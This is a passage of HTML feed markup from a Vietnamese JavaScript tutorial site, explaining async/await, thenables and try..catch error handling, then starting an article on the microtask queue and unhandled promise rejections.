punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">https://api.github.com/users/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>user<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> githubUser <span class="token operator">=</span> <span class="token keyword">await</span> githubResponse<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị avatar</span> <span class="token keyword">let</span> img <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"img"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> img<span class="token punctuation">.</span>src <span class="token operator">=</span> githubUser<span class="token punctuation">.</span>avatar_url<span class="token punctuation">;</span> img<span class="token punctuation">.</span>className <span class="token operator">=</span> <span class="token string">"promise-avatar-example"</span><span class="token punctuation">;</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>img<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đợi 3 giây</span> <span class="token keyword">await</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>resolve<span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> img<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> githubUser<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// sử dụng</span> <span class="token function">showAvatar</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên khá gọn gàng và dễ đọc hơn cách sử dụng promise rồi phải không?</p> <p><strong>Chú ý:</strong> Các trình duyệt hiện đại cho phép đặt <code>await</code> ở đầu của module ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// giả sử đoạn code sau ở đầu của một module</span> <span class="token keyword">let</span> response <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">await</span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu bạn sử dụng trình duyệt cũ hơn, bạn cần phải phải đặt đoạn code trên vào trong một <a href="/function-expression-trong-javascript/">hàm ẩn danh</a> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> response <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">await</span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> <code>await</code> là <strong>thenable</strong>.</p> <p>Giống như <code>promise.then</code>, từ khóa <code>await</code> cho phép bạn sử dụng các đối tượng <strong>thenable</strong>. Ý tưởng ở đây là các đối tượng ở thư viện bên thứ 3 có thể <strong>không phải là promise</strong>, nhưng tương thích với promise: nếu hỗ trợ <code>.then</code>, thì có thể sử dụng với <code>await</code>.</p> <p>Đây là một class demo <code>Thenable</code>, từ khóa <code>await</code> chấp nhận các trường hợp như vậy:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Thenable</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>num <span class="token operator">=</span> num<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>resolve<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// resolve với this.num*2 sau 1000ms</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>num <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// đợi 1 giây -> kết quả trở thành 2</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token keyword">new</span> <span class="token class-name">Thenable</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu <code>await</code> nhận được một đối tượng không phải là promise với <code>.then</code>, từ khóa <code>await</code> sẽ gọi phương thức đó, cung cấp các hàm tích hợp sẵn <code>resolve</code> và <code>reject</code> dưới dạng các đối số - giống như cách thực thi của <code>Promise</code> bình thường.</p> <p>Sau đó, <code>await</code> đợi cho đến khi một trong số chúng được gọi. Trong ví dụ trên, <code>resolve</code> được gọi tại <code>(*)</code>. Và sau đó, chương trình tiếp tục với kết quả sau khi resolve.</p> <p><strong>Chú ý:</strong> <code>async</code> có thể dùng với phương thức trong class.</p> <p>Để khai báo một phương thức <code>async</code> trong class, bạn chỉ cần thêm <code>async</code> vào trước phương thức đó như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Waiter</span> <span class="token punctuation">{</span> <span class="token keyword">async</span> <span class="token function">wait</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">await</span> Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">new</span> <span class="token class-name">Waiter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">wait</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token comment">// then(console.log) tương tự như: result => console.log(result)</span></code></pre></div> <p>Ý nghĩa giống với hàm async thông thường: phương thức async trong class đảm bảo rằng giá trị trả về là promise và cho phép sử dụng với <code>await</code>.</p> <h2 id="xử-lý-lỗi" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-l%E1%BB%97i" aria-label="xử lý lỗi permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý lỗi</h2> <p>Nếu một promise giải quyết bình thường thì <code>await promise</code> trả về kết quả. Nhưng trong trường hợp promise bị từ chối, cách viết trên sẽ tạo ra lỗi, giống như có một câu lệnh <code>throw</code> ở đó.</p> <p>Đoạn code này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">await</span> Promise<span class="token punctuation">.</span><span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>...là giống như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong các tình huống thực tế, promise có thể mất thời gian trước khi bị từ chối. Trong trường hợp đó, sẽ có một khoảng thời gian trễ trước khi <code>await</code> ném ra một lỗi.</p> <p>Bạn có thể bắt lỗi đó bằng cách sử dụng <code>try..catch</code>, giống như cách <code>throw</code> thông thường:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> response <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"http://no-such-url"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// TypeError: failed to fetch</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong trường hợp có lỗi, luồng điều khiển sẽ nhảy đến khối <code>catch</code>. Và bạn có thể có nhiều dòng <code>await</code> trong cùng một khối <code>try...catch</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> response <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/no-user-here"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">await</span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// bắt lỗi từ cả hai await trên</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu không có <code>try..catch</code>, thì promise được tạo bởi lệnh gọi của hàm không đồng bộ <code>f()</code> trở thành một promise bị từ chối. Do đó, bạn có thể thêm <code>.catch</code> để xử lý:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> response <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"http://no-such-url"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// f() trở thành một promise bị từ chối</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// TypeError: failed to fetch // (*)</span></code></pre></div> <p>Nếu bạn quên thêm vào <code>.catch</code> sau đó, thì bạn sẽ gặp lỗi promise chưa được xử lý <a href="/xu-ly-loi-voi-promise-trong-javascript/"><code>unhandledrejection</code></a>.</p> <p><strong>Một số chú ý khác:</strong></p> <ul> <li>Khi bạn sử dụng <code>async/await</code>, bạn hiếm khi cần <code>.then</code>, vì <code>await</code> xử lý việc chờ đợi. Và bạn có thể sử dụng <code>try..catch</code> thông thường thay vì <code>.catch</code>. Điều đó thường thuận tiện hơn.</li> <li>Khi bạn cần đợi nhiều promise, bạn có thể gói chúng lại trong <a href="/promise-api-trong-javascript/"><code>Promise.all</code></a> và sau đó dùng <code>await</code>: <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// đợi một mảng kết quả</span> <span class="token keyword">let</span> results <span class="token operator">=</span> <span class="token keyword">await</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token function">fetch</span><span class="token punctuation">(</span>url1<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">fetch</span><span class="token punctuation">(</span>url2<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">//...</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </li> </ul> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Từ khóa <code>async</code> đặt trước một hàm có 2 tác dụng:</p> <ol> <li>Làm cho hàm đó luôn luôn trả lại một promise.</li> <li>Cho phép <code>await</code> được sử dụng trong hàm.</li> </ol> <p>Từ khóa <code>await</code> đặt trước một promise khiến JavaScript đợi cho đến khi promise giải quyết xong và sau đó:</p> <ol> <li>Nếu kết quả là một lỗi, một ngoại lệ sẽ được tạo ra - giống như <code>throw error</code> gọi tại đó.</li> <li>Nếu không có lỗi, nó trả về kết quả.</li> </ol> <p><code>Async/await</code> kết hợp với nhau tạo ra một cách tuyệt vời để viết code không đồng bộ dễ dàng hơn, cũng như dễ đọc hơn.</p> <p>Với <code>async/await</code>, bạn hiếm khi cần viết <code>promise.then/catch</code>. Nhưng bạn cũng không nên quên rằng <code>async/await</code> dựa trên các promise, vì đôi khi bạn cũng phải dùng các phương pháp này.</p> <p>Cuối cùng, <code>Promise.all</code> là một cách tốt khi bạn đang chờ đợi nhiều tác vụ đồng thời.</p> <p>Tham khảo: <a href="https://javascript.info/async-await">Async/await</a></p>[email protected]<![CDATA[Microtasks là gì? Microtasks trong JavaScript]]><![CDATA[Trình xử lý promise .then, .catch và .finally luôn không đồng bộ. Ngay cả khi một promise được giải quyết ngay lập tức, dòng code bên dưới .then, .catch, .finally vẫn sẽ thực thi…]]>https://completejavascript.com/microtasks-la-gi-microtasks-trong-javascript/https://completejavascript.com/microtasks-la-gi-microtasks-trong-javascript/<![CDATA[Callback]]><![CDATA[Promise]]>Sat, 15 Jul 2017 06:00:00 GMT<p>Trình xử lý promise <code>.then</code>, <code>.catch</code> và <code>.finally</code> luôn không đồng bộ.</p> <p>Ngay cả khi một promise được giải quyết ngay lập tức, dòng code bên dưới <code>.then</code>, <code>.catch</code>, <code>.finally</code> vẫn sẽ thực thi trước các trình xử lý này.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"promise done!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"code finished"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// đoạn này hiển thị trước</span></code></pre></div> <p>Khi chạy đoạn code trên, bạn sẽ thấy <code>"code finished"</code> hiển thị trước và sau đó là <code>"promise done!"</code>.</p> <p>Tại sao lại như vậy, khi mà promise gần như resolve ngay lập tức?</p> <h2 id="hàng-đợi-microtasks" style="position:relative;"><a href="#h%C3%A0ng-%C4%91%E1%BB%A3i-microtasks" aria-label="hàng đợi microtasks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàng đợi microtasks</h2> <p>Các tác vụ không đồng bộ cần được quản lý thích hợp. Vì vậy, tiêu chuẩn ECMA chỉ định một hàng đợi nội bộ <code>PromiseJobs</code>, thường được gọi là <strong>hàng đợi microtask</strong> (thuật ngữ V8).</p> <p>Như được nêu trong <a href="https://tc39.github.io/ecma262/#sec-jobs-and-job-queues">đặc tả kỹ thuật</a>:</p> <ul> <li>Hàng đợi là <strong>first-in-first-out</strong> - các tác vụ được xếp trước sẽ chạy trước.</li> <li>Việc thực thi một tác vụ chỉ được bắt đầu khi không có tác vụ nào khác đang chạy.</li> </ul> <p>Nói một cách đơn giản, khi một promise đã sẵn sàng, các trình xử lý <code>.then/catch/finally</code> tương ứng sẽ được đưa vào hàng đợi. Và chúng vẫn chưa được thực hiện.</p> <p>Khi JavaScript engine chạy xong luồng code hiện tại, engine sẽ nhận một tác vụ từ hàng đợi để thực thi.</p> <p>Đó là lý do tại sao <code>"code finished"</code> hiển thị trước <code>"promise done!"</code>.</p> <p>Nếu có một chuỗi với nhiều <code>.then/catch/finally</code> thì mỗi tác vụ trong số đó được thực thi không đồng bộ. Có nghĩa là, tác vụ đầu tiên được xếp vào hàng đợi. Sau đó, tác vụ được thực thi khi mã hiện tại hoàn tất và các trình xử lý được <strong>xếp hàng trước đó</strong> đã hoàn thành.</p> <p>Làm thế nào nếu bạn cần các tác vụ thực hiện theo đúng thứ tự? Làm sao để <code>code finished</code> xuất hiện sau <code>promise done</code>?</p> <p>Cách giải quyết đơn giản là bạn chỉ cần đưa chúng vào hàng đợi với <code>.then</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"promise done!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"code finished"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// promise done!</span> <span class="token comment">// code finished</span></code></pre></div> <p>Bạn thấy rằng kết quả đã đúng như mong đợi.</p> <h2 id="từ-chối-không-được-xử-lý" style="position:relative;"><a href="#t%E1%BB%AB-ch%E1%BB%91i-kh%C3%B4ng-%C4%91%C6%B0%E1%BB%A3c-x%E1%BB%AD-l%C3%BD" aria-label="từ chối không được xử lý permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ chối không được xử lý</h2> <p>Hãy nhớ sự kiện <code>unhandledrejection</code> từ bài viết <a href="/xu-ly-loi-voi-promise-trong-javascript/">xử lý lỗi với promise</a>.</p> <p>Bây giờ, bạn có thể <strong>thấy chính xác</strong> cách JavaScript phát hiện ra có một sự từ chối không được xử lý. Cái này gọi là "Unhandled rejection".</p> <p><strong>Unhandled rejection</strong> xảy ra khi lỗi promise không được xử lý ở cuối hàng đợi microtasks.</p> <p>Thông thường, nếu mình cần xử lý lỗi, mình sẽ thêm <code>.catch</code> vào chuỗi promise để xử lý:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Promise Failed!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> promise<span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"caught"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// phần event này không chạy vì lỗi đã được xử lý bên trên</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"unhandledrejection"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>reason<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu bạn quên thêm <code>.catch</code> thì sau khi hàng đợi microtask trống, JavaScript sẽ kích hoạt sự kiện <code>unhandledrejection</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Promise Failed!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Promise Failed!</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"unhandledrejection"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>reason<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Và điều gì xảy ra nếu bạn xử lý lỗi sau một khoảng thời gian:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Promise Failed!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> promise<span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"caught"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Promise Failed!</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"unhandledrejection"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>reason<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu chạy đoạn code trên, bạn sẽ thấy rằng <code>Promise Failed!</code> hiển thị trước và sau đó là <code>caught</code>.</p> <p>Nếu bạn không biết về hàng đợi microtasks, có thể bạn sẽ hỏi: "Tại sao trình xử lý <code>unhandledrejection</code> lại chạy, trong khi promise đã được <code>catch</code>?"</p> <p>Bây giờ, bạn hiểu rằng <code>unhandledrejection</code> được tạo ra khi hàng đợi microtasks hoàn tất: JavaScript engine kiểm tra các promise và nếu bất kỳ promise nào trong số chúng ở trạng thái <strong>bị từ chối</strong>, thì sự kiện sẽ kích hoạt.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Việc xử lý promise luôn không đồng bộ, vì tất cả các hành động đi qua hàng đợi microtasks. Do đó, các trình xử lý <code>.then/catch/finally</code> luôn được gọi sau khi luồng code hiện 